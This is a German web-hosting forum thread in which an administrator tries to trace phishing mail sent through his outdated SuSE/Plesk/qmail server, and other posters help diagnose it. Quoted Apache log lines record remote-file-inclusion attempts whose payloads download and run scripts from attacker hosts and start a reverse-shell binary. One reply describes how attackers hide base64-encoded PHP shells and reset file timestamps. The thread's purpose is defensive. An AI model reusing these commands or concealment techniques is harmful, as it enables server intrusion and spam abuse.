Spammer missbraucht meinen Server

[tillo]

Hallo,

ich habe folgendes Problem mit meinem 1+1 Root Server, Suse 9.3, Plesk 8.6:

Seit einigen Tagen werden über den Server Phishingmails verschickt.

Code: Select all

Received: (qmail 32533 invoked from network); 9 Sep 2008 22:47:41 +0200
Received: from unknown (HELO User) (87.62.141.238)
  by xxxxxxxxxxxxx.de with SMTP; 9 Sep 2008 22:47:41 +0200
From: "Suncoast Fcu"<security@suncoastfcu.message.com>
Subject: ALERT Message !
Date: Tue, 9 Sep 2008 22:42:14 +0200
MIME-Version: 1.0
Content-Type: text/html;
	charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Priority: 1
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Die Mails werden in kleinen Häppchen eingeliefert und gehen jeweils an ca. 20 bis 50 Adressen:

Code: Select all

Received: (qmail 21601 invoked from network); 6 Sep 2008 06:57:31 +0200
Received: from stockhouse1.ver.forthnet.gr (HELO User) (193.92.254.241)
  by xxxxxxxxxxxxxx.de with SMTP; 6 Sep 2008 06:57:30 +0200
Reply-To: <eMoneyTransfers@emoneygram.com>
From: "eMoneyTransfers@emoneygram.com"<eMoneyTransfers@emoneygram.com>
Subject: MoneyGram: eMail Validation
Date: Sat, 6 Sep 2008 07:45:52 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="utf-7"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

zekemar@aol.com zekemcmahon@yahoo.com zekemitch@aol.com 
zekerod3@yahoo.com zekester@queens.org zelazowska@yahoo.com 
zelda11163@yahoo.com zelda22@comcast.net zelieboro@fyi.net 
zelig@barco.com

Der User-Login erfolgt so:

Code: Select all

Sep  6 03:21:34 xxxxxxxx relaylock: /var/qmail/bin/relaylock: mail from 193.92.254.241:21858 (stockhouse1.ver.forthnet.gr)
...
Sep  6 03:21:37 xxxxxxxx smtp_auth: SMTP connect from (null)@stockhouse1.ver.forthnet.gr [193.92.254.241]
Sep  6 03:21:37 xxxxxxxx smtp_auth: smtp_auth: SMTP user andrew : logged in from (null)@stockhouse1.ver.forthnet.gr [193.92.254.241]
...

Das merkwürdige daran ist, dass der User andrew im gesamten System nicht existiert.

Ich habe rkhunter und chkrootkit laufen lassen und beide melden ein sauberes System.

Ich kann weder in der bash-historie noch anderswo feststellen, dass jemand eingedrungen ist.

In der passwd sind keine User vorhanden, die es nicht geben dürfte. Gleiches gilt für alle PLESK-User. Habe die psa-DB manuell geprüft und nichts Auffälliges gefunden.

Nun stelle ich mir die Frage, ob evtl. qmail oder smtp_auth fehlerhaft sind und irgendwelche User durchlassen. Oder ob ein möglicherweise unzureichendes SSL-Zertifikat (es ist eines installiert von GeoTrust) dafür verantwortlich ist. Man hörte ja, dass auf Debian erstellte Zertifikate bis vor wenigen Wochen Unsicherheiten aufwiesen. Nur weiß ich jetzt nicht, ob das sich so auswirken kann.

Da ich momentan ziemlich ratlos bin, wäre ich für jede gute Hilfe dankbar.

Gruss
Tillo R.

[daemotron]

ich habe folgendes Problem mit meinem 1+1 Root Server, Suse 9.3, Plesk 8.6

System dringend neu aufsetzen, SuSE 9.3 erfährt schon seit Jahren keine Sicherheitsupdates mehr.

Seit einigen Tagen werden über den Server Phishingmails verschickt.

Code: Select all

Received: (qmail 32533 invoked from network); 9 Sep 2008 22:47:41 +0200
Received: from unknown (HELO User) (87.62.141.238)
  by xxxxxxxxxxxxx.de with SMTP; 9 Sep 2008 22:47:41 +0200
From: "Suncoast Fcu"<security@suncoastfcu.message.com>
Subject: ALERT Message !
Date: Tue, 9 Sep 2008 22:42:14 +0200
MIME-Version: 1.0
Content-Type: text/html;
	charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Priority: 1
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Die Mails werden in kleinen Häppchen eingeliefert und gehen jeweils an ca. 20 bis 50 Adressen:

Code: Select all

Received: (qmail 21601 invoked from network); 6 Sep 2008 06:57:31 +0200
Received: from stockhouse1.ver.forthnet.gr (HELO User) (193.92.254.241)
  by xxxxxxxxxxxxxx.de with SMTP; 6 Sep 2008 06:57:30 +0200
Reply-To: <eMoneyTransfers@emoneygram.com>
From: "eMoneyTransfers@emoneygram.com"<eMoneyTransfers@emoneygram.com>
Subject: MoneyGram: eMail Validation
Date: Sat, 6 Sep 2008 07:45:52 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="utf-7"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

zekemar@aol.com zekemcmahon@yahoo.com zekemitch@aol.com 
zekerod3@yahoo.com zekester@queens.org zelazowska@yahoo.com 
zelda11163@yahoo.com zelda22@comcast.net zelieboro@fyi.net 
zelig@barco.com

Der User-Login erfolgt so:

Code: Select all

Sep  6 03:21:34 xxxxxxxx relaylock: /var/qmail/bin/relaylock: mail from 193.92.254.241:21858 (stockhouse1.ver.forthnet.gr)
...
Sep  6 03:21:37 xxxxxxxx smtp_auth: SMTP connect from (null)@stockhouse1.ver.forthnet.gr [193.92.254.241]
Sep  6 03:21:37 xxxxxxxx smtp_auth: smtp_auth: SMTP user andrew : logged in from (null)@stockhouse1.ver.forthnet.gr [193.92.254.241]
...

Das merkwürdige daran ist, dass der User andrew im gesamten System nicht existiert.

Ich habe rkhunter und chkrootkit laufen lassen und beide melden ein sauberes System.

Ich kann weder in der bash-historie noch anderswo feststellen, dass jemand eingedrungen ist.

In der passwd sind keine User vorhanden, die es nicht geben dürfte. Gleiches gilt für alle PLESK-User. Habe die psa-DB manuell geprüft und nichts Auffälliges gefunden.

Nun stelle ich mir die Frage, ob evtl. qmail oder smtp_auth fehlerhaft sind und irgendwelche User durchlassen. Oder ob ein möglicherweise unzureichendes SSL-Zertifikat (es ist eines installiert von GeoTrust) dafür verantwortlich ist. Man hörte ja, dass auf Debian erstellte Zertifikate bis vor wenigen Wochen Unsicherheiten aufwiesen. Nur weiß ich jetzt nicht, ob das sich so auswirken kann.

Da ich momentan ziemlich ratlos bin, wäre ich für jede gute Hilfe dankbar.

Gruss
Tillo R.

Falls xxxxxxxx Dein Server ist, kommen die Mails von Deiner Kiste (kranke Webanwendung, z. B.). Ob zusätzlich Bugs in qmail sind, weiß ich nicht - die Pakete müssen uralt sein (s. o.). Dass alte qmail-Pakete aber für ein Open Relay verantwortlich sein sollen, halte ich für unwahrscheinlich (das wäre schon früher aufgefallen). Die Zertifikate sind aber in keinem Fall schuld an einem Open Relay bzw. undichten Webanwendungen. Die sind zwar auch ein Sicherheitsrisiko, wirken sich aber anderweitig aus...

[tillo]

Danke für die Antwort.

Der Server ist erst vor zwei Jahren gemietet worden und hat via Plesk einige Updates (8.0 bis 8.6) bekommen. Dazu gehört auch qmail.

Allerdings läuft auf dem Webspace Joomla! 1.0.08 mit einem in vielen Teilen angepassten Virtuemart-Shop für einen Verein. Deshalb wurde noch kein neueres Paket aufgesetzt, weil die individuellen Anpassungen sehr umfangreich sind. Möglicherweise ist da (in Joomla) eine Lücke?

Aus Joomla heraus wird entweder per PHP oder per SMTP versendet. Beides habe ich vorerst mal deaktiviert und die Mailkonten der betroffenen Domain gelöscht. Ob das hilft, weiß ich auch nicht.

Mir ist momentan schleierhaft, wie ein dem System unbekannter User Mails über eine Domain / einen Account versenden kann, wenn die Authentifizierung eingeschaltet ist. Also müsste qmail umgangen werden. Doch wie aus dem Log zu sehen ist, wird smtp_auth ja angesprochen. Kann es sein, dass diese Datei kompromittiert ist und diesen bestimmten User passieren lässt?

Das System neu aufsetzen ist schwierig, weil ca. 70 Domains (Familie, Freunde, Vereine - die fressen mich!) mit Webanwendungen drauf sind. Wenn ich eine neuere Software wie Suse 10.x aufspielen lasse (das geht ja bei 1+1) ist es evtl. fraglich, ob ich die gesicherten Daten (web, Mails und Plesk-Einstellungen) einfach so restoren kann.

Gruss
Tillo R.

[tillo]

@Matthias

Die Header sind in den beiden ersten Codefensters meines Postings.

Die Joomla-Dateien haben alle das Datum der Installation, bis auf die configs, die ich mal geändert hatte. Die Rechte configs sind momentan auf 444 eingestellt. Wegen der Logs, nach denen auf smtp_auth zugegriffen wird (3. Codefenster), möchte ich auch ausschließen, dass der phpmailer zum Spammen benutzt wurde, der greift doch nicht auf smtp_auth zu, oder?

Für mich sieht das so aus, als wenn ein direkter Zugriff erfolgt ist.

Gruss
Tillo R.

[tillo]

Hast Du dann einfach mal den Zugang deaktiviert oder das Passwort geändert?

Beides.

Erster Schritt, passwort der Mailbenutzer temporär ändern.

Wurde bereits erledigt.

2. Schritt alle kritischen Webanwendungen außer Betrieb nehmen.

Dann verhauen mich ca. 70 Leute!

3. Schritt alles genau kntrollieren und verdächtigen Aktionen auf den Grund gehen.

Habe ich (siehe unten) soweit ich damit klar komme, bin ja kein Profi.

Wobei ein neu aufsetzen des Systemes eigentlich die bessere Variante ist.
Dann kit viel bedacht die Webseiten wieder einspielen.

Klar. Aber das dauert bei den vielen Präsenzen, die drauf laufen. Mal sehen...

Habe gerade mal im System rumgesucht und konnte nichts Verdächtiges finden. Alle relevanten Dateien tragen das Datum der Installation, außer Dateien, in die mal was geschrieben wird. Es sind offensichtlich auch keine zusätzlichen Dateien installiert. Es laufen keine unbekannten Tasks und sämtliche Checkprogramme finden nichts.

Aufgrund des direkten Zugriffs auf smtp_auth (siehe logfile oben) sollte man doch ausschließen können, dass über Joomla gemailt wird, weil das nicht auf SMTP eingestellt ist.

Fragen: Welche Möglichkeit gibt es überhaupt, dass man mit einem im System nicht vorhandenen Mailuser Mails versenden kann. Das geht doch nur, wenn der SMTP überlistet wird. Weil smtp_auth aufgerufen wird, darf ich doch wohl davon ausgehen, dass die Mails ganz normal an qmail geliefert werden. Doch wieso lässt smtp_auth diesen falschen User durch?

Gruss
Tillo R.

[tillo]

Bist Du Dir sicher, dass smtp_auth auch wirklich zieht?

Wie meinst Du das?

1. Stell bitte sicher, dass kein Relaying erlaubt ist und 2. eine SMTP Anmeldung erzwungen wird.

Das ist in Plesk so eingestellt.

3. Ist der smtp Dämon auch wirklich der, den Du glaubst, dass es sein sollte?

Ich habe nur einen, also eine Datei smtp_auth gefunden und die scheint identisch zu sein mit einem auf einem identischen Server eines Freundes.

Sollte Dein System wirklich erfolgreich kompromitiert worden sein, kannst Du dich auf gar nichts verlassen.

Ich weiß... *seufz*

Gruss
Tillo R.

[tillo]

Das ist überprüft und getestet.

Erkläre mir bitte noch, was Du damit meinst:

Bist Du Dir sicher, dass smtp_auth auch wirklich zieht?

Gruss
Tillo

[tillo]

Das Du Dich wirklich anmelden musst.
Vor allem, mit einem validen Account.

Ich habe es in x Variationen versucht und SMTP meckert schon, wenn auch nur ein Zeichen falsch ist.

Ansonsten sniffen! Also auf Packet Ebene prüfen was der Kollege da so treibt.

Das habe ich leider nicht so drauf, was muss man dafür tun?

Gruss
Tillo R.

[freddy36]

erfordert jedoch eine gui also xwindow umlenken auf den lokalen Rechner und dort muss ein xserver laufen.

Oder einfach mit tcpdump alles in eine pcap datei schreiben lassen.
Die kann man dann auch mit whireshark öffnen und entsprechend analysieren.

[tillo]

Wenn ich das recht verstehe, funktioniert das aber nur, wenn ich den Eindringling in Flagranti erwische, oder?

[franki]

Check doch auch mal, ob irgendwelche verdächtigen Prozesse laufen und/oder Dateien (Skripte) in /tmp oder /var/tmp liegen. Wir hatten Ende 2005/Anfang 2006 auch massive Probleme bekommen durch eine Lücke in Mambo/Joomla. Schau auch mal die Log-Dateien des Servers auf verdächtige Einträge durch, bei uns sah das damals so aus:

Code: Select all

212.92.23.86 - - [24/Jan/2006:04:05:47 +0100] "GET /fsr/xxx/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.s0l4r1sr0x.com/tool.gif?&cmd=cd%20/tmp/;lynx%20http://www.albanian.ch/anon/sess3023_%20>%20sess3023_;perl%20sess3023_;rm%20-rf%20sess3023*? HTTP/1.0" 200 37137 "-" "Mozilla/5.0" "-"

Gruß von Frank.

[tillo]

@franki

Meinst Du sowas?

Code: Select all

84.19.167.33 - - [15/Jun/2008:19:47:52 +0200] "GET /query.class.php?baseDir=http://144.131.145.199/cmd.gif?&cmd=cd%20/tmp;wget%20144.131.145.199/cback;chmod%20755%20cback;./cback%20144.131.145.199%202000;echo%20YYY;echo|  HTTP/1.1" 404 961 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

84.19.167.33 - - [15/Jun/2008:19:47:53 +0200] "GET /classes/query.class.php?baseDir=http://144.131.145.199/cmd.gif?&cmd=cd%20/tmp;wget%20144.131.145.199/cback;chmod%20755%20cback;./cback%20144.131.145.199%202000;echo%20YYY;echo|  HTTP/1.1" 404 961 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

Beim Testen des Links meldet mein Virenscanner: Backdoor.php.WebShell.f

Der Angriff hier richtete sich an dotproject (es sind noch mehr Zeilen vorhanden), was ich nicht auf dem Server habe. Die angegriffenen Pfade und Dateien passen nicht zu Joomla.

Sonst habe ich in den Logs der letzten 3 Monate nichts gefunden. Ältere Logs habe ich nicht mehr.

MfG
Tillo R.

[tillo]

NEEEEEEEEEEEEEEEEEEEEEEEEEEE,

der Angriff kann nicht erfolgreich gewesen sein, die angesprochenen Scripte und Pfade gibt es dort nicht. Siehe mein Vorposting.

[franki]

Meinst Du sowas?

Ja! :roll:

Damit könnte er ein anderes Skript oder eine Shell nachgeladen haben, wie bei mir im Jan. 06. Aus der Apache error.log:

Code: Select all

--04:29:05--  http://www.albanian.ch/anon/sess3023_
           => `sess3023_'
Resolving www.albanian.ch... 70.86.36.66
Connecting to www.albanian.ch[70.86.36.66]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17,249 [text/plain]

    0K .......... ......                                     100%   63.60 KB/s

04:29:05 (63.60 KB/s) - `sess3023_' saved [17249/17249]

sh: line 1: kill: ?: no such pid
sh: line 1: kill: R: no such pid
sh: line 1: kill: 21:41: no such pid
sh: line 1: kill: kotfare: no such pid
usw..

Schau mal die durch und die laufenden Prozesse!

Gruß von Frank.

[tillo]

Ist ja schon klar Leute,

aber ein solcher Angriff kann doch nur erfolgreich sein, wenn das angegriffene Script auch auf dem Rechner ist. Da bei mir dotproject nicht installiert ist, können auch dessen Scritpe nicht aufgerufen werden. So gibt der Apache nur eine Fehlermeldung zurück und das war es dann.

Diese Art Angriffe kenne ich seit Jahren und finde sie recht oft in Logfiles, ohne dass was passiert ist. Maßgeblich ist doch, dass ein auf dem Server vorhandenes Script angegriffen wird und dieses dann den Schadcode durch lässt.

In den Logs der letzten drei Monate habe ich keinen Hinweis darauf gefunden, dass ein auf dem Server vorhandenes Script angegriffen wurde.

Warum muss man eigentlich irgendwelche Links ausprobieren?

Um zu wissen, was sich dahinter verbirgt.

[franki]

OK, wenn die Software nicht existiert, kann dieser Angriff nicht erfolgreich gewesen sein. Aber es gibt ja noch zig andere Möglichkeiten. Ich hab damals als Konsequenz auf die Angriffe mod_security und die Shorewall-Firewall installiert, außerdem achte ich jetzt darauf, die Pakete immer aktuell zu halten (bei Debian ca. 1 mal pro Woche aptitude update & aptitude safe-upgrade).

Eigenartig, das dieser User andrew, der auf dem System nicht existiert, von sasl_auth akzeptiert wird. Hast Du mal die sasl-Konfig. überprüft? Bei mir steht in der /etc/postfix/sasl/smtpd.conf:

Code: Select all

pwcheck_method: saslauthd
saslauthd_path:/var/spool/postfix/var/run/saslauthd/mux
mech_list: PLAIN LOGIN

Jeder der auf dem System eingerichtet ist, kann sich mit dem System-Login und Paßwort authentifizieren.

Es gibt ja auch andere Möglichkeiten der Authentifizierung, siehe /usr/share/doc/postfix/sasl_readme

Gruß von Frank.

[tillo]

Ich habe Suse mit Plesk und qmail.

Habe bereits alle Dateien, in denen User und Rechte eingetragen sind, geprüft. Weder für den Apache noch für qmail, mysql oder plesk existiert dieser User.

[tillo]

Schau mal in die Datenbank PSA:
In der Tabelle mail findest Du die spalte mail_name taucht dort der Benutzer auf?
Das zugehörige Passwort findest Du unter accounts.
Wobei hier die mail.account_id der account.id entspricht.

Habe ich bereits getan, alles sauber, kein User, den ich nicht kenne.

PS. Schalt auch mal Deine Sapamschleuder ab.

Was meinst Du damit?

Die betroffene Domain hat kein Möglichkeit mehr, Mails zu versenden. Alle Mailaccounts wurden entfernt und die Mailfunktion dieser Domain in Plesk deaktiviert.

Momentan ist ja auch Ruhe.

[daemotron]

Ich würde immer noch wetten, dass der Spam von localhost an qmail übergeben wird - damit ist nämlich auch die Authentifizierung ausgehebelt (MTAs vertrauen normalerweise Einlieferungen von localhost). Und ich würde weiter wetten, dass es wahrscheinlich dein gehacktes (im Sinne von "verändert") Joomla ist, über das der ganze Mist passiert.

Der Server ist erst vor zwei Jahren gemietet worden und hat via Plesk einige Updates (8.0 bis 8.6) bekommen. Dazu gehört auch qmail.

Aber der Unterbau stinkt. SuSE 9.3 ist seit über einem Jahr nicht mehr aktuell (Support wurde per 15.04.2007 eingestellt). Der Kernel ist alt und hat mindestens ein dickes Loch (local privilege escalation), vom Userland (auch tools mit SUID-Bit) mal ganz zu schweigen. Auch wenn das jetzt vielleicht nicht die Ursache für den Spam ist - willst Du, dass demnächst jemand KiPos über Deinen Server streamt und Du das dann der Staatsanwaltschaft erklären musst?

[rudelgurke]

Ditto - localhost und SMTP Auth könnten hier ein Problem sein dass ein einfaches PHP Mail() ohne jegliche Auth verschickt.
Zum Server selbst - wenn da Joomla in der etwas älteren Version läuft - die Dateidaten sagen garnichts. Normalerweise wird irgendwo eine kleine Shell platziert - simples wie passthru() oder exec() - entweder als eigene Datei ober irgendwo angehängt.
Damit ein grep -ril passthru * nicht gleich alles findet wird's auch gern noch mit base64 kodiert.
Ist die Datei hochgeladen oder modifiziert wird noch touch -r ... ausgeführt damit's nicht auffällt und die Zugriffsdaten wieder stimmen.
Hinweis: GIF / JPEG Bilder können auch modifiziert werden - als nicht nur nach PHP Dateien im Log suchen und wenn die Shell erstmal drauf ist - am besten neu aufsetzen. Wer weiß was noch so alles modifiziert wurde.
Dann in Zukunft Software aktuell halten und vor allem ein IDS laufen lassen - damit bemerkt man deartige Änderungen besser als nur an den Dateidaten.

Und wurden rkhunter / chkrootkit installiert nachdem die Probleme auftraten oder zuvor ? Damit diese Tools auch wirklich "sauber" sind.